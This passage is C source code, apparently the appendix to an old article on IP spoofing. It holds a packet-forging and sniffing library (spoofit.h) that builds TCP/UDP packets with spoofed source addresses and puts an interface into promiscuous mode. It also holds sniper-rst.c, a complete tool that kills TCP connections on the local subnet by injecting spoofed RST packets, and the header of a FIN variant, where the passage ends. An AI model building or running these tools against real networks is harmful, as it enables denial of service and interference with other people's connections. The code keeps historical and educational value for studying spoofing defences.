- /* Important note - You might have noticed I use non standard packet */
- /* header struct's. How come?? Because I started like */
- /* that on Sniffit because I wanted to do the */
- /* bittransforms myself. */
- /* Well I got so damned used to them, I keep using them, */
- /* they are not very different, and not hard to use, so */
- /* you'll easily use my struct's without any problem, */
- /* this code and the examples show how to use them. */
- /* my apologies for this inconvenience. */
- /* */
- /* None of this code can be used in commercial software. You are free to */
- /* use it in any other non-commercial software (modified or not) as long */
- /* as you give me the credits for it. You can spread this include file, */
- /* but keep it unmodified. */
- /* */
- /**************************************************************************/
- /* */
- /* Easiest way to understand this library is to look at the use of it, in */
- /* the example progs. */
- /* */
- /**** Sending packets *****************************************************/
- /* */
- /* int open_sending (void) */
- /* Returns a filedescriptor to the sending socket. */
- /* close it with close (int filedesc) */
- /* */
- /* void transmit_TCP (int sp_fd, char *sp_data, */
- /* int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, */
- /* char *sp_source, unsigned short sp_source_port, */
- /* char *sp_dest,unsigned short sp_dest_port, */
- /* unsigned long sp_seq, unsigned long sp_ack, */
- /* unsigned short sp_flags) */
- /* fire data away in a TCP packet */
- /* sp_fd : raw socket filedesc. */
- /* sp_data : IP options (you should do the padding) */
- /* TCP options (you should do the padding) */
- /* data to be transmitted */
- /* (NULL is nothing) */
- /* note that all is optional, and IP en TCP options are*/
- /* not often used. */
- /* All data is put after eachother in one buffer. */
- /* sp_ipoptlen : length of IP options (in bytes) */
- /* sp_tcpoptlen : length of TCP options (in bytes) */
- /* sp_datalen : amount of data to be transmitted (bytes) */
- /* sp_source : spoofed host that"sends packet" */
- /* sp_source_port: spoofed port that "sends packet" */
- /* sp_dest : host that should receive packet */
- /* sp_dest_port : port that should receive packet */
- /* sp_seq : sequence number of packet */
- /* sp_ack : ACK of packet */
- /* sp_flags : flags of packet (URG,ACK,PSH,RST,SYN,FIN) */
- /* */
- /* void transmit_UDP (int sp_fd, char *sp_data, */
- /* int sp_ipoptlen, int sp_datalen, */
- /* char *sp_source, unsigned short sp_source_port, */
- /* char *sp_dest, unsigned short sp_dest_port) */
- /* fire data away in an UDP packet */
- /* sp_fd : raw socket filedesc. */
- /* sp_data : IP options */
- /* data to be transmitted */
- /* (NULL if none) */
- /* sp_ipoptlen : length of IP options (in bytes) */
- /* sp_datalen : amount of data to be transmitted */
- /* sp_source : spoofed host that"sends packet" */
- /* sp_source_port: spoofed port that "sends packet" */
- /* sp_dest : host that should receive packet */
- /* sp_dest_port : port that should receive packet */
- /* */
- /**** Receiving packets ***************************************************/
- /* */
- /* int open_receiving (char *rc_device, char mode) */
- /* Returns fdesc to a receiving socket */
- /* (if mode: IO_HANDLE don't call this twice, global var */
- /* rc_fd_abc123 is initialised) */
- /* rc_device: the device to use e.g. "eth0", "ppp0" */
- /* be sure to change DEV_PREFIX accordingly! */
- /* DEV_PREFIX is the length in bytes of the header that */
- /* comes with a SOCKET_PACKET due to the network device */
- /* mode: 0: normal mode, blocking, (read will wait till packet */
- /* comes, mind you, we are in PROMISC mode) */
- /* IO_NONBLOCK: non-blocking mode (read will not wait till */
- /* usefull for active polling) */
- /* IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/
- /* (IO_HANDLE is not recommended to use, as it should be */
- /* modified according to own use, and it works bad on heavy */
- /* traffic continuous monitoring. I needed it once, but left it */
- /* in to make you able to have a look at Signal handled IO, */
- /* personally I would have removed it, but some thought it */
- /* doesn't do any harm anyway, so why remove... ) */
- /* (I'm not giving any more info on IO_HANDLE as it is not */
- /* needed for the example programs, and interested people can */
- /* easilythey figure the code out theirselves.) */
- /* (Besides IO_HANDLE can only be called ONCE in a program, */
- /* other modes multiple times) */
- /* */
- /* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start, */
- /* unsigned char *proto) */
- /* This waits for a packet (mode default) and puts it in buffer or */
- /* returns whether there is a pack or not (IO_NONBLOCK). */
- /* It returns the packet length if there is one available, else 0 */
- /* */
- /* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, */
- /* char *wp_source, unsigned short wp_source_port, */
- /* char *wp_dest, unsigned short wp_dest_port, */
- /* int wp_flags, int wait_time); */
- /* wp_fd: a receiving socket (default or IO_NONBLOCK) */
- /* ret_values: pointer to a sp_wait_packet struct, that contains SEQ, */
- /* ACK, flags, datalen of that packet. For further packet */
- /* handling see the examples. */
- /* struct sp_wait_packet { */
- /* unsigned long seq,ack; */
- /* unsigned short flags; */
- /* int datalen; */
- /* }; */
- /* wp_source, wp_source_port : sender of packet */
- /* wp_dest, wp_dest_port : receiver of packet */
- /* wp_flags: flags that should be present in packet.. (mind you there */
- /* could be more present, so check on return) */
- /* note: if you don't care about flag, use 0 */
- /* wait_time: if not zero, this function will return -1 if no correct */
- /* packet has arrived within wait_time secs. */
- /* (only works on IO_NONBLOCK socket) */
- /* */
- /* void set_filter (char *f_source, unsigned short f_source_port, */
- /* char *f_dest, unsigned short f_dest_port) */
- /* (for use with IO_HANDLE) */
- /* Start the program to watch all trafic from source/port to */
- /* dest/port. This enables the updating of global data. Can */
- /* be called multiple times. */
- /* */
- /* void close_receiving (void) */
- /* When opened a IO_HANDLE mode receiving socket close it with */
- /* this. */
- /* */
- /**** Global DATA (IO_HANDLE mode) ****************************************/
- /* */
- /* When accessing global data, copy the values to local vars and then use */
- /* them. Reduce access time to a minimum. */
- /* Mind you use of this is very limited, if you are a novice on IO, just */
- /* ignore it, the other functions are good enough!). If not, rewrite the */
- /* handler for your own use... */
- /* */
- /* sig_atomic_t SP_DATA_BUSY */
- /* Put this on NON-ZERO when accesing global data. Incoming */
- /* packets will be ignored then, data can not be overwritten. */
- /* */
- /* unsigned long int CUR_SEQ, CUR_ACK; */
- /* Last recorded SEQ and ACK number of the filtered "stream". */
- /* Before accessing this data set SP_DATA_BUSY non-zero, */
- /* afterward set it back to zero. */
- /* */
- /* unsigned long int CUR_COUNT; */
- /* increased everytime other data is updated */
- /* */
- /* unsigned int CUR_DATALEN; */
- /* Length of date in last TCP packet */
- /* */
- /**************************************************************************/
-
- #include "sys/socket.h" /* includes, what would we do without them */
- #include "netdb.h"
- #include "stdlib.h"
- #include "unistd.h"
- #include "stdio.h"
- #include "errno.h"
- #include "netinet/in.h"
- #include "netinet/ip.h"
- #include "linux/if.h"
- #include "sys/ioctl.h"
- #include "sys/types.h"
- #include "signal.h"
- #include "fcntl.h"
-
- #undef DEBUG
- #define IP_VERSION 4 /* keep y'r hands off... */
- #define MTU 1500
- #define IP_HEAD_BASE 20 /* using fixed lengths to send */
- #define TCP_HEAD_BASE 20 /* no options etc... */
- #define UDP_HEAD_BASE 8 /* Always fixed */
-
- #define IO_HANDLE 1
- #define IO_NONBLOCK 2
-
- int DEV_PREFIX = 9999;
- sig_atomic_t WAIT_PACKET_WAIT_TIME=0;
-
- /**** IO_HANDLE ************************************************************/
- int rc_fd_abc123;
- sig_atomic_t RC_FILTSET=0;
- char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */
-
- sig_atomic_t SP_DATA_BUSY=0;
- unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;
- unsigned int CUR_DATALEN;
- unsigned short CUR_FLAGS;
- /***************************************************************************/
-
- struct sp_wait_packet
- {
- unsigned long seq,ack;
- unsigned short flags;
- int datalen;
- };
-
- /* Code from Sniffit - BTW my own program.... no copyright violation here */
- #define URG 32 /* TCP flags */
- #define ACK 16
- #define PSH 8
- #define RST 4
- #define SYN 2
- #define FIN 1
-
- struct PACKET_info
- {
- int len, datalen;
- unsigned long int seq_nr, ACK_nr;
- u_char FLAGS;
- };
-
- struct IP_header /* The IPheader (without options) */
- {
- unsigned char verlen, type;
- unsigned short length, ID, flag_offset;
- unsigned char TTL, protocol;
- unsigned short checksum;
- unsigned long int source, destination;
- };
-
- struct TCP_header /* The TCP header (without options) */
- {
- unsigned short source, destination;
- unsigned long int seq_nr, ACK_nr;
- unsigned short offset_flag, window, checksum, urgent;
- };
-
- struct UDP_header /* The UDP header */
- {
- unsigned short source, destination;
- unsigned short length, checksum;
- };
-
- struct pseudo_IP_header /* The pseudo IP header (checksum calc) */
- {
- unsigned long int source, destination;
- char zero_byte, protocol;
- unsigned short TCP_UDP_len;
- };
-
- /* data structure for argument passing */
-
- struct sp_data_exchange {
- int fd; /* Sh!t from transmit_TCP */
- char *data;
- int datalen;
- char *source; unsigned short source_port;
- char *dest; unsigned short dest_port;
- unsigned long seq, ack;
- unsigned short flags;
-
- char *buffer; /* work buffer */
-
- int IP_optlen; /* IP options length in bytes */
- int TCP_optlen; /* TCP options length in bytes */
- };
-
- /**************** all functions *******************************************/
- void transmit_TCP (int fd, char *sp_data,
- int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
- char *sp_source, unsigned short sp_source_port,
- char *sp_dest, unsigned short sp_dest_port,
- unsigned long sp_seq, unsigned long sp_ack,
- unsigned short sp_flags);
-
- void transmit_UDP (int sp_fd, char *sp_data,
- int ipoptlen, int sp_datalen,
- char *sp_source, unsigned short sp_source_port,
- char *sp_dest, unsigned short sp_dest_port);
-
- int get_packet (int rc_fd, char *buffer, int *, unsigned char*);
- int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int);
-
- static unsigned long sp_getaddrbyname(char *);
-
- int open_sending (void);
- int open_receiving (char *, char);
- void close_receiving (void);
-
- void sp_send_packet (struct sp_data_exchange *, unsigned char);
- void sp_fix_TCP_packet (struct sp_data_exchange *);
- void sp_fix_UDP_packet (struct sp_data_exchange *);
- void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);
- unsigned short in_cksum(unsigned short *, int );
-
- void rc_sigio (int);
- void set_filter (char *, unsigned short, char *, unsigned short);
-
- /********************* let the games commence ****************************/
-
- static unsigned long sp_getaddrbyname(char *sp_name)
- {
- struct hostent *sp_he;
- int i;
-
- if(isdigit(*sp_name))
- return inet_addr(sp_name);
-
- for(i=0;i<100;i++)
- {
- if(!(sp_he = gethostbyname(sp_name)))
- {printf("WARNING: gethostbyname failure!\n");
- sleep(1);
- if(i>=3) /* always a retry here in this kind of application */
- printf("Coudn't resolv hostname."), exit(1);
- }
- else break;
- }
- return sp_he ? *(long*)*sp_he->h_addr_list : 0;
- }
-
- int open_sending (void)
- {
- struct protoent *sp_proto;
- int sp_fd;
- int dummy=1;
-
- /* they don't come rawer */
- if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1)
- perror("Couldn't open Socket."), exit(1);
-
- #ifdef DEBUG
- printf("Raw socket ready\n");
- #endif
- return sp_fd;
- }
-
- void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)
- {
- int sp_status;
- struct sockaddr_in sp_server;
- struct hostent *sp_help;
- int HEAD_BASE;
-
- /* Construction of destination */
- bzero((char *)&sp_server, sizeof(struct sockaddr));
- sp_server.sin_family = AF_INET;
- sp_server.sin_addr.s_addr = inet_addr(sp->dest);
- if (sp_server.sin_addr.s_addr == (unsigned int)-1)
- { /* if target not in DOT/number notation */
- if (!(sp_help=gethostbyname(sp->dest)))
- fprintf(stderr,"unknown host %s\n", sp->dest), exit(1);
- bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length);
- };
-
- switch(proto)
- {
- case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
- case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
- default: exit(1); break;
- };
- sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0,
- (struct sockaddr *)&sp_server,sizeof(struct sockaddr));
- if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen)
- {
- if (sp_status < 0)
- perror("Sendto"), exit(1);
- printf("hmm... Only transmitted %d of %d bytes.\n", sp_status,
- sp->datalen+HEAD_BASE);
- };
- #ifdef DEBUG
- printf("Packet transmitted...\n");
- #endif
- }
-
- void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)
- {
- struct IP_header *sp_help_ip;
- int HEAD_BASE;
-
- switch(proto)
- {
- case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
- case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
- default: exit(1); break;
- };
-
- sp_help_ip = (struct IP_header *) (sp->buffer);
- sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);
- sp_help_ip->type = 0;
- sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen);
- sp_help_ip->ID = htons(12545); /* TEST */
- sp_help_ip->flag_offset = 0;
- sp_help_ip->TTL = 69;
- sp_help_ip->protocol = proto;
- sp_help_ip->source = sp_getaddrbyname(sp->source);
- sp_help_ip->destination = sp_getaddrbyname(sp->dest);
- sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer),
- IP_HEAD_BASE+sp->IP_optlen);
- #ifdef DEBUG
- printf("IP header fixed...\n");
- #endif
- }
-
- void sp_fix_TCP_packet (struct sp_data_exchange *sp)
- {
- char sp_pseudo_ip_construct[MTU];
- struct TCP_header *sp_help_tcp;
- struct pseudo_IP_header *sp_help_pseudo;
- int i;
-
- for(i=0;i<MTU;i++)
- {sp_pseudo_ip_construct[i]=0;}
-
- sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
- sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;
-
- sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags);
- sp_help_tcp->seq_nr = htonl(sp->seq);
- sp_help_tcp->ACK_nr = htonl(sp->ack);
- sp_help_tcp->source = htons(sp->source_port);
- sp_help_tcp->destination = htons(sp->dest_port);
- sp_help_tcp->window = htons(0x7c00); /* dummy for now 'wujx' */
-
- sp_help_pseudo->source = sp_getaddrbyname(sp->source);
- sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
- sp_help_pseudo->zero_byte = 0;
- sp_help_pseudo->protocol = 6;
- sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen);
-
- memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE);
- sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
- sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen);
- #ifdef DEBUG
- printf("TCP header fixed...\n");
- #endif
- }
-
- void transmit_TCP (int sp_fd, char *sp_data,
- int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
- char *sp_source, unsigned short sp_source_port,
- char *sp_dest, unsigned short sp_dest_port,
- unsigned long sp_seq, unsigned long sp_ack,
- unsigned short sp_flags)
- {
- char sp_buffer[1500];
- struct sp_data_exchange sp_struct;
-
- bzero(sp_buffer,1500);
- if (sp_ipoptlen!=0)
- memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
-
- if (sp_tcpoptlen!=0)
- memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,
- sp_data+sp_ipoptlen,sp_tcpoptlen);
- if (sp_datalen!=0)
- memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,
- sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);
-
- sp_struct.fd = sp_fd;
- sp_struct.data = sp_data;
- sp_struct.datalen = sp_datalen;
- sp_struct.source = sp_source;
- sp_struct.source_port = sp_source_port;
- sp_struct.dest = sp_dest;
- sp_struct.dest_port = sp_dest_port;
- sp_struct.seq = sp_seq;
- sp_struct.ack = sp_ack;
- sp_struct.flags = sp_flags;
- sp_struct.buffer = sp_buffer;
- sp_struct.IP_optlen = sp_ipoptlen;
- sp_struct.TCP_optlen = sp_tcpoptlen;
-
- sp_fix_TCP_packet(&sp_struct);
- sp_fix_IP_packet(&sp_struct, 6);
- sp_send_packet(&sp_struct, 6);
- }
-
- void sp_fix_UDP_packet (struct sp_data_exchange *sp)
- {
- char sp_pseudo_ip_construct[MTU];
- struct UDP_header *sp_help_udp;
- struct pseudo_IP_header *sp_help_pseudo;
- int i;
-
- for(i=0;i<MTU;i++)
- {sp_pseudo_ip_construct[i]=0;}
-
- sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
- sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;
-
- sp_help_udp->source = htons(sp->source_port);
- sp_help_udp->destination = htons(sp->dest_port);
- sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE);
-
- sp_help_pseudo->source = sp_getaddrbyname(sp->source);
- sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
- sp_help_pseudo->zero_byte = 0;
- sp_help_pseudo->protocol = 17;
- sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE);
-
- memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE);
- sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
- sp->datalen+12+UDP_HEAD_BASE);
- #ifdef DEBUG
- printf("UDP header fixed...\n");
- #endif
- }
-
- void transmit_UDP (int sp_fd, char *sp_data,
- int sp_ipoptlen, int sp_datalen,
- char *sp_source, unsigned short sp_source_port,
- char *sp_dest, unsigned short sp_dest_port)
- {
- char sp_buffer[1500];
- struct sp_data_exchange sp_struct;
-
- bzero(sp_buffer,1500);
-
- if (sp_ipoptlen!=0)
- memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
- if (sp_data!=NULL)
- memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen,
- sp_data+sp_ipoptlen,sp_datalen);
- sp_struct.fd = sp_fd;
- sp_struct.data = sp_data;
- sp_struct.datalen = sp_datalen;
- sp_struct.source = sp_source;
- sp_struct.source_port = sp_source_port;
- sp_struct.dest = sp_dest;
- sp_struct.dest_port = sp_dest_port;
- sp_struct.buffer = sp_buffer;
- sp_struct.IP_optlen = sp_ipoptlen;
- sp_struct.TCP_optlen = 0;
-
- sp_fix_UDP_packet(&sp_struct);
- sp_fix_IP_packet(&sp_struct, 17);
- sp_send_packet(&sp_struct, 17);
- }
-
- /* This routine stolen from ping.c -- HAHAHA!*/
- unsigned short in_cksum(unsigned short *addr,int len)
- {
- register int nleft = len;
- register unsigned short *w = addr;
- register int sum = 0;
- unsigned short answer = 0;
-
- while (nleft > 1)
- {
- sum += *w++;
- nleft -= 2;
- }
- if (nleft == 1)
- {
- *(u_char *)(&answer) = *(u_char *)w ;
- sum += answer;
- }
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- answer = ~sum;
- return(answer);
- }
-
- /************************* Receiving department ****************************/
-
- int open_receiving (char *rc_device, char mode)
- {
- int or_fd;
- struct sigaction rc_sa;
- int fcntl_flag;
- struct ifreq ifinfo;
- char test;
-
- /* create snoop socket and set interface promisc */
- if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1)
- perror("Couldn't open Socket."), exit(1);
- strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);
- if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0)
- perror("Couldn't get flags."), exit(1);
- ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
- if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0)
- perror("Couldn't set flags. (PROMISC)"), exit(1);
-
- if(mode&IO_HANDLE)
- { /* install handler */
- rc_sa.sa_handler=rc_sigio; /* we don't use signal() */
- sigemptyset(&rc_sa.sa_mask); /* because the timing window is */
- rc_sa.sa_flags=0; /* too big... */
- sigaction(SIGIO,&rc_sa,NULL);
- }
-
- if(fcntl(or_fd,F_SETOWN,getpid())<0)
- perror("Couldn't set ownership"), exit(1);
-
- if(mode&IO_HANDLE)
- {
- if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
- perror("Couldn't get FLAGS"), exit(1);
- if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0)
- perror("Couldn't set FLAGS"), exit(1);
- rc_fd_abc123=or_fd;
- }
- else
- {
- if(mode&IO_NONBLOCK)
- {
- if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
- perror("Couldn't get FLAGS"), exit(1);
- if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0)
- perror("Couldn't set FLAGS"), exit(1);
- };
- };
-
- #ifdef DEBUG
- printf("Reading socket ready\n");
- #endif
- return or_fd;
- }
-
- /* returns 0 when no packet read! */
- int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto)
- {
- char help_buffer[MTU];
- int pack_len;
- struct IP_header *gp_IPhead;
-
- pack_len = read(rc_fd,help_buffer,1500);
- if(pack_len<0)
- {
- if(errno==EWOULDBLOCK)
- {pack_len=0;}
- else
- {perror("Read error:"); exit(1);}
- };
- if(pack_len>0)
- {
- pack_len -= DEV_PREFIX;
- memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);
- gp_IPhead = (struct IP_header *) buffer;
- if(proto != NULL)
- *proto = gp_IPhead->protocol;
- if(TCP_UDP_start != NULL)
- *TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2;
- }
- return pack_len;
- }
-
- void wait_packet_timeout (int sig)
- {
- alarm(0);
- WAIT_PACKET_WAIT_TIME=1;
- }
-
- int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,
- char *wp_source, unsigned short wp_source_port,
- char *wp_dest, unsigned short wp_dest_port, int wp_flags,
- int wait_time)
- {
- char wp_buffer[1500];
- struct IP_header *wp_iphead;
- struct TCP_header *wp_tcphead;
- unsigned long wp_sourcel, wp_destl;
- int wp_tcpstart;
- char wp_proto;
-
- wp_sourcel=sp_getaddrbyname(wp_source);
- wp_destl=sp_getaddrbyname(wp_dest);
-
- WAIT_PACKET_WAIT_TIME=0;
- if(wait_time!=0)
- {
- signal(SIGALRM,wait_packet_timeout);
- alarm(wait_time);
- }
-
- while(1)
- {
- while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0)
- {
- if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;}
- };
- if(wp_proto == 6)
- {
- wp_iphead= (struct IP_header *) wp_buffer;
- wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);
- if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) )
- {
- if( (ntohs(wp_tcphead->source)==wp_source_port) &&
- (ntohs(wp_tcphead->destination)==wp_dest_port) )
- {
- if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) )
- {
- ret_values->seq=ntohl(wp_tcphead->seq_nr);
- ret_values->ack=ntohl(wp_tcphead->ACK_nr);
- ret_values->flags=ntohs(wp_tcphead->offset_flag)&
- (URG|ACK|PSH|FIN|RST|SYN);
- ret_values->datalen = ntohs(wp_iphead->length) -
- ((wp_iphead->verlen & 0xF) << 2) -
- ((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10);
- alarm(0);
- return 0;
- }
- }
- }
- }
- }
- /*impossible to get here.. but anyways*/
- alarm(0); return -1;
- }
-
-
- void close_receiving (void)
- {
- close(rc_fd_abc123);
- }
-
- void rc_sigio (int sig) /* Packet handling routine */
- {
- char rc_buffer[1500];
- char packet_id [50];
- unsigned char *rc_so, *rc_dest;
- struct IP_header *rc_IPhead;
- struct TCP_header *rc_TCPhead;
- int pack_len;
-
- if(RC_FILTSET==0) return;
-
- if(SP_DATA_BUSY!=0) /* skip this packet */
- return;
-
- pack_len = read(rc_fd_abc123,rc_buffer,1500);
- rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);
- if(rc_IPhead->protocol!=6) return; /* if not TCP */
- rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2));
-
- rc_so = (unsigned char *) &(rc_IPhead->source);
- rc_dest = (unsigned char *) &(rc_IPhead->destination);
- sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
- rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source),
- rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination));
-
- if(strcmp(packet_id,rc_filter_string)==0)
- {
- SP_DATA_BUSY=1;
- CUR_SEQ = ntohl(rc_TCPhead->seq_nr);
- CUR_ACK = ntohl(rc_TCPhead->ACK_nr);
- CUR_FLAGS = ntohs(rc_TCPhead->offset_flag);
- CUR_DATALEN = ntohs(rc_IPhead->length) -
- ((rc_IPhead->verlen & 0xF) << 2) -
- ((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10);
- CUR_COUNT++;
- SP_DATA_BUSY=0;
- }
- }
-
- void set_filter (char *f_source, unsigned short f_source_port,
- char *f_dest, unsigned short f_dest_port)
- {
- unsigned char *f_so, *f_des;
- unsigned long f_sol, f_destl;
-
- RC_FILTSET=0;
- if(DEV_PREFIX==9999)
- fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1);
- f_sol = sp_getaddrbyname(f_source);
- f_destl = sp_getaddrbyname(f_dest);
- f_so = (unsigned char *) &f_sol;
- f_des = (unsigned char *) &f_destl;
- sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
- f_so[0],f_so[1],f_so[2],f_so[3],f_source_port,
- f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port);
- RC_FILTSET=1;
- }
-
- ------------------------------------------------------------------------------
-
- ---=[ sniper-rst.c ]=---------------------------------------------------------
- /**************************************************************************/
- /* Sniper-rst - Example program on connection killing with IP spoofing */
- /* Using the RST flag. */
- /* (illustration for 'A short overview of IP spoofing') */
- /* */
- /* Purpose - Killing any TCP connection on your subnet */
- /* */
- /* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */
- /* Serious advice, comments, statements, greets, always welcome */
- /* flames, moronic 3l33t >/dev/null */
- /* */
- /* Disclaimer - This program is for educational purposes only. I am in */
- /* NO way responsible for what you do with this program, */
- /* or any damage you or this program causes. */
- /* */
- /* For whom - People with a little knowledge of TCP/IP, C source code */
- /* and general UNIX. Otherwise, please keep your hands of, */
- /* and catch up on those things first. */
- /* */
- /* Limited to - Linux 1.3.X or higher. */
- /* ETHERNET support ("eth0" device) */
- /* If you network configuration differs it shouldn't be to */
- /* hard to modify yourself. I got it working on PPP too, */
- /* but I'm not including extra configuration possibilities */
- /* because this would overload this first release that is */
- /* only a demonstration of the mechanism. */
- /* Anyway if you only have ONE network device (slip, */
- /* ppp,... ) after a quick look at this code and spoofit.h */
- /* it will only take you a few secs to fix it... */
- /* People with a bit of C knowledge and well known with */
- /* their OS shouldn't have to much trouble to port the code.*/
- /* If you do, I would love to get the results. */
- /* */
- /* Compiling - gcc -o sniper-rst sniper-rst.c */
- /* */
- /* Usage - Usage described in the spoofing article that came with this. */
- /* If you didn't get this, try to get the full release... */
- /* */
- /* See also - Sniffit (for getting the necessairy data on a connection) */
- /**************************************************************************/
-
- #include "spoofit.h"
-
- /* Those 2 'defines' are important for putting the receiving device in */
- /* PROMISCUOUS mode */
- #define INTERFACE "eth0"
- #define INTERFACE_PREFIX 14
-
- char SOURCE[100],DEST[100];
- int SOURCE_P,DEST_P;
-
- void main(int argc, char *argv[])
- {
- int i,stat,j;
- int fd_send, fd_receive;
- unsigned long sp_ack, sp_seq;
- unsigned short flags;
- struct sp_wait_packet pinfo;
-
- if(argc != 5)
- {
- printf("usage: %s host1 port1 host2 port2\n",argv[0]);
- exit(0);
- }
-
- /* preparing some work */
- DEV_PREFIX = INTERFACE_PREFIX;
- strcpy(SOURCE,argv[1]);
- SOURCE_P=atoi(argv[2]);
- strcpy(DEST,argv[3]);
- DEST_P=atoi(argv[4]);
-
- /* opening sending and receiving sockets */
- fd_send = open_sending();
- fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */
-
- printf("Trying to terminate the connection\n");
-
- for(i=1;i<=100;i++)
- {
- /* Waiting for a packet containing an ACK */
- stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,5);
- if(stat==-1) {printf("Connection 5 secs idle or dead...\n");exit(1);}
- sp_seq=pinfo.ack;
- sp_ack=0;
- j=0;
- /* Sending our fake Packet */
-
- /* for(j=0;j<10;j++) This would be better */
- /* { */
- transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
- sp_seq+j,sp_ack,RST);
- /* } */
-
- /* waiting for confirmation */
- stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,0,5);
- if(stat<0)
- {
- printf("Connection 5 secs idle or dead...\n");
- exit(0);
- }
- }
- printf("I did not succeed in killing it.\n");
- }
-
- ------------------------------------------------------------------------------
-
- ---=[ sniper-fin.c ]=---------------------------------------------------------
- /**************************************************************************/
- /* Sniper-fin - Example program on connection killing with IP spoofing */
- /* using the FIN flag. */
- /* (illustration for 'A short overview of IP spoofing') */
- /* */
- /* Purpose - Killing any TCP connection on your subnet */
- /* */
- /* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */
- /* Serious advice, comments, statements, greets, always welcome */
- /* flames, moronic 3l33t >/dev/null */
- /* */
- /* Disclaimer - This program is for educational purposes only. I am in */
- /* NO way responsible for what you do with this program, */
- /* or any damage you or this program causes. */
- /* */
